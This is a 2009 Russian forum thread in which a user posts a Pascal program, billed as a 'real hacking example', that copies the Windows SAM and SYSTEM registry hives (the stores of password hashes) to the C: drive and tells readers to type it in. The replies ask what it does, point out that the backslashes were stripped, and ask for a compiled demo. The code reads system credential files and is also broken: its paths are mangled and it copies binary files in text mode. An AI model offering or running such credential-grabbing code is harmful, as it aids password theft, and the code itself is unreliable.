друзья:
|
Мегаотвращение |
16.06.2009 |
|
CeeJay |
19:56 Реальный пример взлома |
Запись открыта: всем |
program copy; var fin,fout:text; b:char; begin assign(fin,'С:WindowsSystem32configSAM'); reset(fin); assign(fout,'C:SAM'); rewrite(fout); while not eof(fin) do begin while not eoln(fin)do begin read(fin,b); write(fout,b); end; readln(fin);writeln(fout); end; close(fin);close(fout); assign(fin,'С:WindowsSystem32configSYSTEM'); reset(fin); assign(fout,'C:SYSTEMfi'); rewrite(fout); while not eof(fin) do begin while not eoln(fin)do begin read(fin,b); write(fout,b); end; readln(fin);writeln(fout); end; close(fin);close(fout); end.
Кто не понял: Устанавливаем Паскаль и вводим туда ето все
|
|
|
dima75
|
16.06.2009, 20:58 |
обратные слэши удаляются сдешним парсером(обработчиком), поэтому сделай комментарий там где они должны быть
|
|
CeeJay
|
16.06.2009, 21:02 |
Паскаль (англ. Pascal) — высокоуровневый язык программирования общего назначения. Один из наиболее известных языков программирования, широко применяется в промышленном программировании, обучении программированию в высшей школе, является базой для большого числа других языков. Был создан Никлаусом Виртом в 1970, после его участия в работе комитета разработки стандарта языка Алгол-68.
70! = 11 978 571 669 969 891 796 072 783 721 689 098 736 458 938 142 546 425 857 555 362 864 628 009 582 789 845 319 680 000 000 000 000 000
|
|
CeeJay
|
16.06.2009, 21:03 |
проповедник_Хи! пусть эта обезьяна поломается!!
70! = 11 978 571 669 969 891 796 072 783 721 689 098 736 458 938 142 546 425 857 555 362 864 628 009 582 789 845 319 680 000 000 000 000 000
|
|
CeeJay
|
16.06.2009, 21:03 |
Жёлтый пакет с бухло а у тебя какой?
70! = 11 978 571 669 969 891 796 072 783 721 689 098 736 458 938 142 546 425 857 555 362 864 628 009 582 789 845 319 680 000 000 000 000 000
|
|
Жёлтый пакет с бухло
|
16.06.2009, 21:05 |
CeeJay Дубль три. Что программа, текст которой ты опубликовал, делает? На каких виндах работает?
|
|
dima75
|
16.06.2009, 21:05 |
выложи демку (скомпилированную), чтоб видеть ваочую
|
|
|
|